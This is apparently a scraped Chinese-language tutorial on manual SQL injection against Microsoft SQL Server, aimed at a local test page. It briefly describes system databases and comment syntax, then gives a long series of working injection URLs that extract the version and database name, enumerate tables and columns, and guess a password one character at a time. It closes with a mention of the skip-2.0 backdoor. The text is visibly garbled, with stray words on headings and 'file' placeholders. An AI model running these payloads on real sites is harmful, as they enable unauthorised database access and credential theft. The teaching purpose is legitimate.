SQL server手工注入入门

目录

0x01 SQL server基础php

0x02 基本注入html

SQL server部分版本已被黑客安装后门,详情请在文末查看。sql

0x01 SQL server基础

在学习注入以前,最重要的是要先了解SQL server的具体的东西,才能更好的进行注入操做数据库

系统库服务器

master学习

master数据库控制SQLserver的全部方面,这个数据库中包含全部的配置信息、用户登录信息、当前正在服务器运行中的过程的信息3d

modelcode

model数据库是创建全部数据库时的模板,当你创建一个新数据库时,SQL server会把model数据库中的全部对象创建一份拷贝并移到新数据库中,在模板对象被拷贝到新的用户数据库以后,该数据库的全部多余空间都将被页面填满orm

tempdbserver

tempdb数据库是一个很是特殊的数据库,供全部来访问SQL server的用户使用,这个库用来保存全部的临时表、存储过程和其余SQLserver创建的临时用的东西,例如,排序时要用到tempdb数据库,数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL server从新启动,它都会清空tempdb数据库并重建,永远不要在tempdb数据库创建须要永久保存的表

msdb

msdb数据库是SQLserver中的一个特例,若是你查看这个数据库的实际定义,会发现它实际上是一个用户数据库,不一样之处是SQLserver拿这个数据库用来作什么,全部的任务调度、报警、操做员都存储在msdb数据库中,该库的另外一个功能是用来存储全部备份历史,SQL server agent将会使用这个库

information_schema

information_schema是在SQL server2000及更高版本存在的,能够检索数据库中的对象的元数据,与MySQL中的有相同的功能,它是符合ISO标准的,与sys不一样,sys是微软本身搞出来的东西

注释方法

C语言注释风格    /*
SQL注释风格     --
空字节          ;%00

0x02 基本注入

首先咱们先访问注入网址

http://127.0.0.1/index.php?id=1

这里咱们模拟的SQL语句是这样的

$sql= "select * from test where id=".$id;

这里咱们就先用1=1和1=2来作一个简单的判断

file

而后咱们来尝试一下查看数据库版本

经过使用报错的方式将咱们想要的值给带出来

http://127.0.0.1/index.php?id=1%20and%201=(select%20@@version)

file

使用db_name()来查看数据库名

http://127.0.0.1/index.php?id=1%20and%201=(select%20db_name())

file

等等能够获取到一些咱们所须要的信息

接下来使用having字句来获取当前数据库的表名和列名

http://127.0.0.1 /index.php?id=1%20having%201=1

file

而后咱们继续使用上一个所获得的值来递归获取全部的名

http://127.0.0.1/index.php?id=1%20group%20by%20test.id%20having%201=1

file

http://127.0.0.1/index.php?id=1%20group%20by%20test.id,test.name%20having%201=1

file

http://127.0.0.1/index.php?id=1%20group%20by%20test.id,test.name,test.password%20having%201=1

file

经过上面这样的方法,咱们就已经获得了当前使用的数据库为test,其中的列有idnamepassword

而后咱们注入password的数据

http://127.0.0.1/index.php?id=1%20and%20(select%20top%20%201%20%20unicode(substring(password,1,1))%20from%20test)%3E=49

file

http://127.0.0.1/index.php?id=1%20and%20(select%20top%20%201%20%20unicode(substring(password,1,1))%20from%20test)%3E=50

file

能够知道第一个为字符1

而后继续猜解第二个字符

http://127.0.0.1/index.php?id=1%20and%20(select%20top%20%201%20%20unicode(substring(password,2,1))%20from%20test)%3E=50

file

http://127.0.0.1/index.php?id=1%20and%20(select%20top%20%201%20%20unicode(substring(password,2,1))%20from%20test)%3E=51

file

能够获得第二个字符为2

依此类推获得最终的结果为123456

咱们还能够经过注入获取到其余的数据库名称

http://127.0.0.1/index.php?id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases)

file

可是因为只能输出一个字段的内容,因此这里使用where语句的not in来进行获取

http://127.0.0.1/index.php?id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases%20where%20%20name%20%20not%20%20in%20%20('master'))

file

获得了第二个数据库model。而后经过这样的方式继续日后遍历

http://127.0.0.1/index.php?id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases%20where%20%20name%20%20not%20%20in%20%20('master','model'))

file

继续遍历就能够了

http://127.0.0.1/index.php?id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases%20where%20%20name%20%20not%20%20in%20%20('master','model','msdb'))

file

在获得数据库test以后,咱们使用information.schema来获取数据表

http://127.0.0.1/index.php?id=1%20and%201=(select%20top%201%20table_name%20from%20test.information_schema.tables)

file

这里咱们只有一个表,若是有多个表的话,能够经过以前not in的方法来进行获取

到这里咱们就已经知道了数据库为test,数据表也为test

接下来该获取字段了

http://127.0.0.1/index.php?id=1%20and%201=(select%20top%201%20column_name%20from%20test.information_schema.columns%20where%20table_name%20=%20'test')

file

而后一样使用not in的方法能够遍历获得全部的列名

http://127.0.0.1/index.php?id=1%20and%201=(select%20top%201%20column_name%20from%20test.information_schema.columns%20where%20table_name%20=%20'test'%20and%20column_name%20not%20in%20('id'))

file

以后获取数据就跟以前的方法是同样的了

这篇文章只是一个简单的开头,至于更多的内容还须要你们来看,最后再给你们提一下刚爆出来的一个上游攻击的事件,SQL server部分版本已经被黑客组织植入后门程序skip-2.0,在安装了中招的SQL server以后,能够容许黑客不进行身份验证而直接进行登录。

file

file

能够去FreeBuf了解其余详情

https://www.freebuf.com/news/217738.html

相关文章
相关标签/搜索